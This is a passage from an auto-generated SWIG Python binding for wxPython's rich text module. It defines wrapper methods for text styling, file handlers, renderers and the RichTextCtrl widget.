size_t\"\"\"\n return _richtext.RichTextBuffer_GetStyleStackSize(*args, **kwargs)\n\n def BeginBold(*args, **kwargs):\n \"\"\"BeginBold(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginBold(*args, **kwargs)\n\n def EndBold(*args, **kwargs):\n \"\"\"EndBold(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndBold(*args, **kwargs)\n\n def BeginItalic(*args, **kwargs):\n \"\"\"BeginItalic(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginItalic(*args, **kwargs)\n\n def EndItalic(*args, **kwargs):\n \"\"\"EndItalic(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndItalic(*args, **kwargs)\n\n def BeginUnderline(*args, **kwargs):\n \"\"\"BeginUnderline(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginUnderline(*args, **kwargs)\n\n def EndUnderline(*args, **kwargs):\n \"\"\"EndUnderline(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndUnderline(*args, **kwargs)\n\n def BeginFontSize(*args, **kwargs):\n \"\"\"BeginFontSize(self, int pointSize) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginFontSize(*args, **kwargs)\n\n def EndFontSize(*args, **kwargs):\n \"\"\"EndFontSize(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndFontSize(*args, **kwargs)\n\n def BeginFont(*args, **kwargs):\n \"\"\"BeginFont(self, Font font) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginFont(*args, **kwargs)\n\n def EndFont(*args, **kwargs):\n \"\"\"EndFont(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndFont(*args, **kwargs)\n\n def BeginTextColour(*args, **kwargs):\n \"\"\"BeginTextColour(self, Colour colour) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginTextColour(*args, **kwargs)\n\n def EndTextColour(*args, **kwargs):\n \"\"\"EndTextColour(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndTextColour(*args, **kwargs)\n\n def BeginAlignment(*args, **kwargs):\n \"\"\"BeginAlignment(self, int alignment) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginAlignment(*args, **kwargs)\n\n def EndAlignment(*args, **kwargs):\n \"\"\"EndAlignment(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndAlignment(*args, **kwargs)\n\n def BeginLeftIndent(*args, **kwargs):\n \"\"\"BeginLeftIndent(self, int leftIndent, int leftSubIndent=0) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginLeftIndent(*args, **kwargs)\n\n def EndLeftIndent(*args, **kwargs):\n \"\"\"EndLeftIndent(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndLeftIndent(*args, **kwargs)\n\n def BeginRightIndent(*args, **kwargs):\n \"\"\"BeginRightIndent(self, int rightIndent) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginRightIndent(*args, **kwargs)\n\n def EndRightIndent(*args, **kwargs):\n \"\"\"EndRightIndent(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndRightIndent(*args, **kwargs)\n\n def BeginParagraphSpacing(*args, **kwargs):\n \"\"\"BeginParagraphSpacing(self, int before, int after) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginParagraphSpacing(*args, **kwargs)\n\n def EndParagraphSpacing(*args, **kwargs):\n \"\"\"EndParagraphSpacing(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndParagraphSpacing(*args, **kwargs)\n\n def BeginLineSpacing(*args, **kwargs):\n \"\"\"BeginLineSpacing(self, int lineSpacing) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginLineSpacing(*args, **kwargs)\n\n def EndLineSpacing(*args, **kwargs):\n \"\"\"EndLineSpacing(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndLineSpacing(*args, **kwargs)\n\n def BeginNumberedBullet(*args, **kwargs):\n \"\"\"\n BeginNumberedBullet(self, int bulletNumber, int leftIndent, int leftSubIndent, \n int bulletStyle=wxTEXT_ATTR_BULLET_STYLE_ARABIC|wxTEXT_ATTR_BULLET_STYLE_PERIOD) -> bool\n \"\"\"\n return _richtext.RichTextBuffer_BeginNumberedBullet(*args, **kwargs)\n\n def EndNumberedBullet(*args, **kwargs):\n \"\"\"EndNumberedBullet(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndNumberedBullet(*args, **kwargs)\n\n def BeginSymbolBullet(*args, **kwargs):\n \"\"\"BeginSymbolBullet(self, String symbol, int leftIndent, int leftSubIndent, int bulletStyle=TEXT_ATTR_BULLET_STYLE_SYMBOL) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginSymbolBullet(*args, **kwargs)\n\n def EndSymbolBullet(*args, **kwargs):\n \"\"\"EndSymbolBullet(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndSymbolBullet(*args, **kwargs)\n\n def BeginStandardBullet(*args, **kwargs):\n \"\"\"\n BeginStandardBullet(self, String bulletName, int leftIndent, int leftSubIndent, \n int bulletStyle=TEXT_ATTR_BULLET_STYLE_STANDARD) -> bool\n \"\"\"\n return _richtext.RichTextBuffer_BeginStandardBullet(*args, **kwargs)\n\n def EndStandardBullet(*args, **kwargs):\n \"\"\"EndStandardBullet(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndStandardBullet(*args, **kwargs)\n\n def BeginCharacterStyle(*args, **kwargs):\n \"\"\"BeginCharacterStyle(self, String characterStyle) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginCharacterStyle(*args, **kwargs)\n\n def EndCharacterStyle(*args, **kwargs):\n \"\"\"EndCharacterStyle(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndCharacterStyle(*args, **kwargs)\n\n def BeginParagraphStyle(*args, **kwargs):\n \"\"\"BeginParagraphStyle(self, String paragraphStyle) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginParagraphStyle(*args, **kwargs)\n\n def EndParagraphStyle(*args, **kwargs):\n \"\"\"EndParagraphStyle(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndParagraphStyle(*args, **kwargs)\n\n def BeginListStyle(*args, **kwargs):\n \"\"\"BeginListStyle(self, String listStyle, int level=1, int number=1) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginListStyle(*args, **kwargs)\n\n def EndListStyle(*args, **kwargs):\n \"\"\"EndListStyle(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndListStyle(*args, **kwargs)\n\n def BeginURL(*args, **kwargs):\n \"\"\"BeginURL(self, String url, String characterStyle=wxEmptyString) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginURL(*args, **kwargs)\n\n def EndURL(*args, **kwargs):\n \"\"\"EndURL(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndURL(*args, **kwargs)\n\n def AddEventHandler(*args, **kwargs):\n \"\"\"AddEventHandler(self, EvtHandler handler) -> bool\"\"\"\n return _richtext.RichTextBuffer_AddEventHandler(*args, **kwargs)\n\n def RemoveEventHandler(*args, **kwargs):\n \"\"\"RemoveEventHandler(self, EvtHandler handler, bool deleteHandler=False) -> bool\"\"\"\n return _richtext.RichTextBuffer_RemoveEventHandler(*args, **kwargs)\n\n def ClearEventHandlers(*args, **kwargs):\n \"\"\"ClearEventHandlers(self)\"\"\"\n return _richtext.RichTextBuffer_ClearEventHandlers(*args, **kwargs)\n\n def SendEvent(*args, **kwargs):\n \"\"\"SendEvent(self, Event event, bool sendToAll=True) -> bool\"\"\"\n return _richtext.RichTextBuffer_SendEvent(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"Copy(self, RichTextBuffer obj)\"\"\"\n return _richtext.RichTextBuffer_Copy(*args, **kwargs)\n\n def InsertParagraphsWithUndo(*args, **kwargs):\n \"\"\"\n InsertParagraphsWithUndo(self, long pos, RichTextParagraphLayoutBox paragraphs, RichTextCtrl ctrl, \n int flags=0) -> bool\n \"\"\"\n return _richtext.RichTextBuffer_InsertParagraphsWithUndo(*args, **kwargs)\n\n def InsertTextWithUndo(*args, **kwargs):\n \"\"\"InsertTextWithUndo(self, long pos, String text, RichTextCtrl ctrl, int flags=0) -> bool\"\"\"\n return _richtext.RichTextBuffer_InsertTextWithUndo(*args, **kwargs)\n\n def InsertNewlineWithUndo(*args, **kwargs):\n \"\"\"InsertNewlineWithUndo(self, long pos, RichTextCtrl ctrl, int flags=0) -> bool\"\"\"\n return _richtext.RichTextBuffer_InsertNewlineWithUndo(*args, **kwargs)\n\n def InsertImageWithUndo(*args, **kwargs):\n \"\"\"\n InsertImageWithUndo(self, long pos, wxRichTextImageBlock imageBlock, RichTextCtrl ctrl, \n int flags=0) -> bool\n \"\"\"\n return _richtext.RichTextBuffer_InsertImageWithUndo(*args, **kwargs)\n\n def DeleteRangeWithUndo(*args, **kwargs):\n \"\"\"DeleteRangeWithUndo(self, RichTextRange range, RichTextCtrl ctrl) -> bool\"\"\"\n return _richtext.RichTextBuffer_DeleteRangeWithUndo(*args, **kwargs)\n\n def Modify(*args, **kwargs):\n \"\"\"Modify(self, bool modify=True)\"\"\"\n return _richtext.RichTextBuffer_Modify(*args, **kwargs)\n\n def IsModified(*args, **kwargs):\n \"\"\"IsModified(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_IsModified(*args, **kwargs)\n\n def GetStyleForNewParagraph(*args, **kwargs):\n \"\"\"GetStyleForNewParagraph(self, long pos, bool caretPosition=False, bool lookUpNewParaStyle=False) -> TextAttrEx\"\"\"\n return _richtext.RichTextBuffer_GetStyleForNewParagraph(*args, **kwargs)\n\n def GetHandlers(*args, **kwargs):\n \"\"\"GetHandlers() -> wxRichTextFileHandlerList_t\"\"\"\n return _richtext.RichTextBuffer_GetHandlers(*args, **kwargs)\n\n GetHandlers = staticmethod(GetHandlers)\n def AddHandler(*args, **kwargs):\n \"\"\"AddHandler(RichTextFileHandler handler)\"\"\"\n return _richtext.RichTextBuffer_AddHandler(*args, **kwargs)\n\n AddHandler = staticmethod(AddHandler)\n def InsertHandler(*args, **kwargs):\n \"\"\"InsertHandler(RichTextFileHandler handler)\"\"\"\n return _richtext.RichTextBuffer_InsertHandler(*args, **kwargs)\n\n InsertHandler = staticmethod(InsertHandler)\n def RemoveHandler(*args, **kwargs):\n \"\"\"RemoveHandler(String name) -> bool\"\"\"\n return _richtext.RichTextBuffer_RemoveHandler(*args, **kwargs)\n\n RemoveHandler = staticmethod(RemoveHandler)\n def FindHandlerByName(*args, **kwargs):\n \"\"\"FindHandlerByName(String name) -> RichTextFileHandler\"\"\"\n return _richtext.RichTextBuffer_FindHandlerByName(*args, **kwargs)\n\n FindHandlerByName = staticmethod(FindHandlerByName)\n def FindHandlerByExtension(*args, **kwargs):\n \"\"\"FindHandlerByExtension(String extension, int imageType) -> RichTextFileHandler\"\"\"\n return _richtext.RichTextBuffer_FindHandlerByExtension(*args, **kwargs)\n\n FindHandlerByExtension = staticmethod(FindHandlerByExtension)\n def FindHandlerByFilename(*args, **kwargs):\n \"\"\"FindHandlerByFilename(String filename, int imageType) -> RichTextFileHandler\"\"\"\n return _richtext.RichTextBuffer_FindHandlerByFilename(*args, **kwargs)\n\n FindHandlerByFilename = staticmethod(FindHandlerByFilename)\n def FindHandlerByType(*args, **kwargs):\n \"\"\"FindHandlerByType(int imageType) -> RichTextFileHandler\"\"\"\n return _richtext.RichTextBuffer_FindHandlerByType(*args, **kwargs)\n\n FindHandlerByType = staticmethod(FindHandlerByType)\n def GetExtWildcard(*args, **kwargs):\n \"\"\"\n GetExtWildcard(self, bool combine=False, bool save=False) --> (wildcards, types)\n\n Gets a wildcard string for the file dialog based on all the currently\n loaded richtext file handlers, and a list that can be used to map\n those filter types to the file handler type.\n \"\"\"\n return _richtext.RichTextBuffer_GetExtWildcard(*args, **kwargs)\n\n GetExtWildcard = staticmethod(GetExtWildcard)\n def CleanUpHandlers(*args, **kwargs):\n \"\"\"CleanUpHandlers()\"\"\"\n return _richtext.RichTextBuffer_CleanUpHandlers(*args, **kwargs)\n\n CleanUpHandlers = staticmethod(CleanUpHandlers)\n def InitStandardHandlers(*args, **kwargs):\n \"\"\"InitStandardHandlers()\"\"\"\n return _richtext.RichTextBuffer_InitStandardHandlers(*args, **kwargs)\n\n InitStandardHandlers = staticmethod(InitStandardHandlers)\n def GetRenderer(*args, **kwargs):\n \"\"\"GetRenderer() -> RichTextRenderer\"\"\"\n return _richtext.RichTextBuffer_GetRenderer(*args, **kwargs)\n\n GetRenderer = staticmethod(GetRenderer)\n def SetRenderer(*args, **kwargs):\n \"\"\"SetRenderer(RichTextRenderer renderer)\"\"\"\n return _richtext.RichTextBuffer_SetRenderer(*args, **kwargs)\n\n SetRenderer = staticmethod(SetRenderer)\n def GetBulletRightMargin(*args, **kwargs):\n \"\"\"GetBulletRightMargin() -> int\"\"\"\n return _richtext.RichTextBuffer_GetBulletRightMargin(*args, **kwargs)\n\n GetBulletRightMargin = staticmethod(GetBulletRightMargin)\n def SetBulletRightMargin(*args, **kwargs):\n \"\"\"SetBulletRightMargin(int margin)\"\"\"\n return _richtext.RichTextBuffer_SetBulletRightMargin(*args, **kwargs)\n\n SetBulletRightMargin = staticmethod(SetBulletRightMargin)\n def GetBulletProportion(*args, **kwargs):\n \"\"\"GetBulletProportion() -> float\"\"\"\n return _richtext.RichTextBuffer_GetBulletProportion(*args, **kwargs)\n\n GetBulletProportion = staticmethod(GetBulletProportion)\n def SetBulletProportion(*args, **kwargs):\n \"\"\"SetBulletProportion(float prop)\"\"\"\n return _richtext.RichTextBuffer_SetBulletProportion(*args, **kwargs)\n\n SetBulletProportion = staticmethod(SetBulletProportion)\n def GetScale(*args, **kwargs):\n \"\"\"GetScale(self) -> double\"\"\"\n return _richtext.RichTextBuffer_GetScale(*args, **kwargs)\n\n def SetScale(*args, **kwargs):\n \"\"\"SetScale(self, double scale)\"\"\"\n return _richtext.RichTextBuffer_SetScale(*args, **kwargs)\n\n_richtext.RichTextBuffer_swigregister(RichTextBuffer)\n\ndef RichTextBuffer_GetHandlers(*args):\n \"\"\"RichTextBuffer_GetHandlers() -> wxRichTextFileHandlerList_t\"\"\"\n return _richtext.RichTextBuffer_GetHandlers(*args)\n\ndef RichTextBuffer_AddHandler(*args, **kwargs):\n \"\"\"RichTextBuffer_AddHandler(RichTextFileHandler handler)\"\"\"\n return _richtext.RichTextBuffer_AddHandler(*args, **kwargs)\n\ndef RichTextBuffer_InsertHandler(*args, **kwargs):\n \"\"\"RichTextBuffer_InsertHandler(RichTextFileHandler handler)\"\"\"\n return _richtext.RichTextBuffer_InsertHandler(*args, **kwargs)\n\ndef RichTextBuffer_RemoveHandler(*args, **kwargs):\n \"\"\"RichTextBuffer_RemoveHandler(String name) -> bool\"\"\"\n return _richtext.RichTextBuffer_RemoveHandler(*args, **kwargs)\n\ndef RichTextBuffer_FindHandlerByName(*args, **kwargs):\n \"\"\"RichTextBuffer_FindHandlerByName(String name) -> RichTextFileHandler\"\"\"\n return _richtext.RichTextBuffer_FindHandlerByName(*args, **kwargs)\n\ndef RichTextBuffer_FindHandlerByExtension(*args, **kwargs):\n \"\"\"RichTextBuffer_FindHandlerByExtension(String extension, int imageType) -> RichTextFileHandler\"\"\"\n return _richtext.RichTextBuffer_FindHandlerByExtension(*args, **kwargs)\n\ndef RichTextBuffer_FindHandlerByFilename(*args, **kwargs):\n \"\"\"RichTextBuffer_FindHandlerByFilename(String filename, int imageType) -> RichTextFileHandler\"\"\"\n return _richtext.RichTextBuffer_FindHandlerByFilename(*args, **kwargs)\n\ndef RichTextBuffer_FindHandlerByType(*args, **kwargs):\n \"\"\"RichTextBuffer_FindHandlerByType(int imageType) -> RichTextFileHandler\"\"\"\n return _richtext.RichTextBuffer_FindHandlerByType(*args, **kwargs)\n\ndef RichTextBuffer_GetExtWildcard(*args, **kwargs):\n \"\"\"\n GetExtWildcard(self, bool combine=False, bool save=False) --> (wildcards, types)\n\n Gets a wildcard string for the file dialog based on all the currently\n loaded richtext file handlers, and a list that can be used to map\n those filter types to the file handler type.\n \"\"\"\n return _richtext.RichTextBuffer_GetExtWildcard(*args, **kwargs)\n\ndef RichTextBuffer_CleanUpHandlers(*args):\n \"\"\"RichTextBuffer_CleanUpHandlers()\"\"\"\n return _richtext.RichTextBuffer_CleanUpHandlers(*args)\n\ndef RichTextBuffer_InitStandardHandlers(*args):\n \"\"\"RichTextBuffer_InitStandardHandlers()\"\"\"\n return _richtext.RichTextBuffer_InitStandardHandlers(*args)\n\ndef RichTextBuffer_GetRenderer(*args):\n \"\"\"RichTextBuffer_GetRenderer() -> RichTextRenderer\"\"\"\n return _richtext.RichTextBuffer_GetRenderer(*args)\n\ndef RichTextBuffer_SetRenderer(*args, **kwargs):\n \"\"\"RichTextBuffer_SetRenderer(RichTextRenderer renderer)\"\"\"\n return _richtext.RichTextBuffer_SetRenderer(*args, **kwargs)\n\ndef RichTextBuffer_GetBulletRightMargin(*args):\n \"\"\"RichTextBuffer_GetBulletRightMargin() -> int\"\"\"\n return _richtext.RichTextBuffer_GetBulletRightMargin(*args)\n\ndef RichTextBuffer_SetBulletRightMargin(*args, **kwargs):\n \"\"\"RichTextBuffer_SetBulletRightMargin(int margin)\"\"\"\n return _richtext.RichTextBuffer_SetBulletRightMargin(*args, **kwargs)\n\ndef RichTextBuffer_GetBulletProportion(*args):\n \"\"\"RichTextBuffer_GetBulletProportion() -> float\"\"\"\n return _richtext.RichTextBuffer_GetBulletProportion(*args)\n\ndef RichTextBuffer_SetBulletProportion(*args, **kwargs):\n \"\"\"RichTextBuffer_SetBulletProportion(float prop)\"\"\"\n return _richtext.RichTextBuffer_SetBulletProportion(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nRICHTEXT_HANDLER_INCLUDE_STYLESHEET = _richtext.RICHTEXT_HANDLER_INCLUDE_STYLESHEET\nRICHTEXT_HANDLER_SAVE_IMAGES_TO_MEMORY = _richtext.RICHTEXT_HANDLER_SAVE_IMAGES_TO_MEMORY\nRICHTEXT_HANDLER_SAVE_IMAGES_TO_FILES = _richtext.RICHTEXT_HANDLER_SAVE_IMAGES_TO_FILES\nRICHTEXT_HANDLER_SAVE_IMAGES_TO_BASE64 = _richtext.RICHTEXT_HANDLER_SAVE_IMAGES_TO_BASE64\nRICHTEXT_HANDLER_NO_HEADER_FOOTER = _richtext.RICHTEXT_HANDLER_NO_HEADER_FOOTER\nRICHTEXT_HANDLER_CONVERT_FACENAMES = _richtext.RICHTEXT_HANDLER_CONVERT_FACENAMES\nclass RichTextFileHandler(_core.Object):\n \"\"\"Base class for file handlers\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _richtext.delete_RichTextFileHandler\n __del__ = lambda self : None;\n def LoadStream(*args, **kwargs):\n \"\"\"LoadStream(self, RichTextBuffer buffer, InputStream stream) -> bool\"\"\"\n return _richtext.RichTextFileHandler_LoadStream(*args, **kwargs)\n\n def SaveStream(*args, **kwargs):\n \"\"\"SaveStream(self, RichTextBuffer buffer, wxOutputStream stream) -> bool\"\"\"\n return _richtext.RichTextFileHandler_SaveStream(*args, **kwargs)\n\n def LoadFile(*args, **kwargs):\n \"\"\"LoadFile(self, RichTextBuffer buffer, String filename) -> bool\"\"\"\n return _richtext.RichTextFileHandler_LoadFile(*args, **kwargs)\n\n def SaveFile(*args, **kwargs):\n \"\"\"SaveFile(self, RichTextBuffer buffer, String filename) -> bool\"\"\"\n return _richtext.RichTextFileHandler_SaveFile(*args, **kwargs)\n\n def CanHandle(*args, **kwargs):\n \"\"\"CanHandle(self, String filename) -> bool\"\"\"\n return _richtext.RichTextFileHandler_CanHandle(*args, **kwargs)\n\n def CanSave(*args, **kwargs):\n \"\"\"CanSave(self) -> bool\"\"\"\n return _richtext.RichTextFileHandler_CanSave(*args, **kwargs)\n\n def CanLoad(*args, **kwargs):\n \"\"\"CanLoad(self) -> bool\"\"\"\n return _richtext.RichTextFileHandler_CanLoad(*args, **kwargs)\n\n def IsVisible(*args, **kwargs):\n \"\"\"IsVisible(self) -> bool\"\"\"\n return _richtext.RichTextFileHandler_IsVisible(*args, **kwargs)\n\n def SetVisible(*args, **kwargs):\n \"\"\"SetVisible(self, bool visible)\"\"\"\n return _richtext.RichTextFileHandler_SetVisible(*args, **kwargs)\n\n def SetName(*args, **kwargs):\n \"\"\"SetName(self, String name)\"\"\"\n return _richtext.RichTextFileHandler_SetName(*args, **kwargs)\n\n def GetName(*args, **kwargs):\n \"\"\"GetName(self) -> String\"\"\"\n return _richtext.RichTextFileHandler_GetName(*args, **kwargs)\n\n Name = property(GetName,SetName) \n def SetExtension(*args, **kwargs):\n \"\"\"SetExtension(self, String ext)\"\"\"\n return _richtext.RichTextFileHandler_SetExtension(*args, **kwargs)\n\n def GetExtension(*args, **kwargs):\n \"\"\"GetExtension(self) -> String\"\"\"\n return _richtext.RichTextFileHandler_GetExtension(*args, **kwargs)\n\n Extension = property(GetExtension,SetExtension) \n def SetType(*args, **kwargs):\n \"\"\"SetType(self, int type)\"\"\"\n return _richtext.RichTextFileHandler_SetType(*args, **kwargs)\n\n def GetType(*args, **kwargs):\n \"\"\"GetType(self) -> int\"\"\"\n return _richtext.RichTextFileHandler_GetType(*args, **kwargs)\n\n Type = property(GetType,SetType) \n def SetFlags(*args, **kwargs):\n \"\"\"SetFlags(self, int flags)\"\"\"\n return _richtext.RichTextFileHandler_SetFlags(*args, **kwargs)\n\n def GetFlags(*args, **kwargs):\n \"\"\"GetFlags(self) -> int\"\"\"\n return _richtext.RichTextFileHandler_GetFlags(*args, **kwargs)\n\n Flags = property(GetFlags,SetFlags) \n def SetEncoding(*args, **kwargs):\n \"\"\"SetEncoding(self, String encoding)\"\"\"\n return _richtext.RichTextFileHandler_SetEncoding(*args, **kwargs)\n\n def GetEncoding(*args, **kwargs):\n \"\"\"GetEncoding(self) -> String\"\"\"\n return _richtext.RichTextFileHandler_GetEncoding(*args, **kwargs)\n\n Encoding = property(GetEncoding,SetEncoding) \n_richtext.RichTextFileHandler_swigregister(RichTextFileHandler)\n\nclass RichTextPlainTextHandler(RichTextFileHandler):\n \"\"\"Proxy of C++ RichTextPlainTextHandler class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String name=TextName, String ext=TextExt, int type=RICHTEXT_TYPE_TEXT) -> RichTextPlainTextHandler\"\"\"\n _richtext.RichTextPlainTextHandler_swiginit(self,_richtext.new_RichTextPlainTextHandler(*args, **kwargs))\n_richtext.RichTextPlainTextHandler_swigregister(RichTextPlainTextHandler)\nTextName = cvar.TextName\nTextExt = cvar.TextExt\n\n#---------------------------------------------------------------------------\n\nclass RichTextRenderer(_core.Object):\n \"\"\"Proxy of C++ RichTextRenderer class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _richtext.delete_RichTextRenderer\n __del__ = lambda self : None;\n def DrawStandardBullet(*args, **kwargs):\n \"\"\"\n DrawStandardBullet(self, RichTextParagraph paragraph, DC dc, TextAttrEx attr, \n Rect rect) -> bool\n \"\"\"\n return _richtext.RichTextRenderer_DrawStandardBullet(*args, **kwargs)\n\n def DrawTextBullet(*args, **kwargs):\n \"\"\"\n DrawTextBullet(self, RichTextParagraph paragraph, DC dc, TextAttrEx attr, \n Rect rect, String text) -> bool\n \"\"\"\n return _richtext.RichTextRenderer_DrawTextBullet(*args, **kwargs)\n\n def DrawBitmapBullet(*args, **kwargs):\n \"\"\"\n DrawBitmapBullet(self, RichTextParagraph paragraph, DC dc, TextAttrEx attr, \n Rect rect) -> bool\n \"\"\"\n return _richtext.RichTextRenderer_DrawBitmapBullet(*args, **kwargs)\n\n def EnumerateStandardBulletNames(*args, **kwargs):\n \"\"\"EnumerateStandardBulletNames(self, wxArrayString bulletNames) -> bool\"\"\"\n return _richtext.RichTextRenderer_EnumerateStandardBulletNames(*args, **kwargs)\n\n_richtext.RichTextRenderer_swigregister(RichTextRenderer)\n\nclass RichTextStdRenderer(RichTextRenderer):\n \"\"\"Proxy of C++ RichTextStdRenderer class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> RichTextStdRenderer\"\"\"\n _richtext.RichTextStdRenderer_swiginit(self,_richtext.new_RichTextStdRenderer(*args, **kwargs))\n_richtext.RichTextStdRenderer_swigregister(RichTextStdRenderer)\n\n#---------------------------------------------------------------------------\n\nRE_READONLY = _richtext.RE_READONLY\nRE_MULTILINE = _richtext.RE_MULTILINE\nRE_CENTER_CARET = _richtext.RE_CENTER_CARET\nRE_CENTRE_CARET = _richtext.RE_CENTRE_CARET\nRICHTEXT_SHIFT_DOWN = _richtext.RICHTEXT_SHIFT_DOWN\nRICHTEXT_CTRL_DOWN = _richtext.RICHTEXT_CTRL_DOWN\nRICHTEXT_ALT_DOWN = _richtext.RICHTEXT_ALT_DOWN\nRICHTEXT_SELECTED = _richtext.RICHTEXT_SELECTED\nRICHTEXT_TAGGED = _richtext.RICHTEXT_TAGGED\nRICHTEXT_FOCUSSED = _richtext.RICHTEXT_FOCUSSED\nRICHTEXT_IS_FOCUS = _richtext.RICHTEXT_IS_FOCUS\nclass RichTextCtrl(_core.Control):\n \"\"\"Proxy of C++ RichTextCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String value=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=RE_MULTILINE, Validator validator=DefaultValidator, \n String name=RichTextCtrlNameStr) -> RichTextCtrl\n \"\"\"\n _richtext.RichTextCtrl_swiginit(self,_richtext.new_RichTextCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String value=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=RE_MULTILINE, Validator validator=DefaultValidator, \n String name=RichTextCtrlNameStr) -> bool\n \"\"\"\n return _richtext.RichTextCtrl_Create(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"GetValue(self) -> String\"\"\"\n return _richtext.RichTextCtrl_GetValue(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"SetValue(self, String value)\"\"\"\n return _richtext.RichTextCtrl_SetValue(*args, **kwargs)\n\n def GetRange(*args, **kwargs):\n \"\"\"GetRange(self, long from, long to) -> String\"\"\"\n return _richtext.RichTextCtrl_GetRange(*args, **kwargs)\n\n def GetLineLength(*args, **kwargs):\n \"\"\"GetLineLength(self, long lineNo) -> int\"\"\"\n return _richtext.RichTextCtrl_GetLineLength(*args, **kwargs)\n\n def GetLineText(*args, **kwargs):\n \"\"\"GetLineText(self, long lineNo) -> String\"\"\"\n return _richtext.RichTextCtrl_GetLineText(*args, **kwargs)\n\n def GetNumberOfLines(*args, **kwargs):\n \"\"\"GetNumberOfLines(self) -> int\"\"\"\n return _richtext.RichTextCtrl_GetNumberOfLines(*args, **kwargs)\n\n def IsModified(*args, **kwargs):\n \"\"\"IsModified(self) -> bool\"\"\"\n return _richtext.RichTextCtrl_IsModified(*args, **kwargs)\n\n def IsEditable(*args, **kwargs):\n \"\"\"IsEditable(self) -> bool\"\"\"\n return _richtext.RichTextCtrl_IsEditable(*args, **kwargs)\n\n def IsSingleLine(*args, **kwargs):\n \"\"\"IsSingleLine(self) -> bool\"\"\"\n return _richtext.RichTextCtrl_IsSingleLine(*args, **kwargs)\n\n def IsMultiLine(*args, **kwargs):\n \"\"\"IsMultiLine(self) -> bool\"\"\"\n return _richtext.RichTextCtrl_IsMultiLine(*args, **kwargs)\n\n def GetSelection(*args, **kwargs):\n \"\"\"\n GetSelection() --> (start, end)\n\n Returns the start and end positions of the current selection. If the\n values are the same then there is no selection.\n \"\"\"\n return _richtext.RichTextCtrl_GetSelection(*args, **kwargs)\n\n def GetStringSelection(*args, **kwargs):\n \"\"\"GetStringSelection(self) -> String\"\"\"\n return _richtext.RichTextCtrl_GetStringSelection(*args, **kwargs)\n\n def GetFilename(*args, **kwargs):\n \"\"\"GetFilename(self) -> String\"\"\"\n return _richtext.RichTextCtrl_GetFilename(*args, **kwargs)\n\n def SetFilename(*args, **kwargs):\n \"\"\"SetFilename(self, String filename)\"\"\"\n return _richtext.RichTextCtrl_SetFilename(*args, **kwargs)\n\n def SetDelayedLayoutThreshold(*args, **kwargs):\n \"\"\"\n SetDelayedLayoutThreshold(self, long threshold)\n\n Set the threshold in character positions for doing layout optimization\n during sizing.\n \"\"\"\n return _richtext.RichTextCtrl_SetDelayedLayoutThreshold(*args, **kwargs)\n\n def GetDelayedLayoutThreshold(*args, **kwargs):\n \"\"\"\n GetDelayedLayoutThreshold(self) -> long\n\n Get the threshold in character positions for doing layout optimization\n during sizing.\n \"\"\"\n return _richtext.RichTextCtrl_GetDelayedLayoutThreshold(*args, **kwargs)\n\n def SetTextCursor(*args, **kwargs):\n \"\"\"\n SetTextCursor(self, Cursor cursor)\n\n Set text cursor\n \"\"\"\n return _richtext.RichTextCtrl_SetTextCursor(*args, **kwargs)\n\n def GetTextCursor(*args, **kwargs):\n \"\"\"\n GetTextCursor(self) -> Cursor\n\n Get text cursor\n \"\"\"\n return 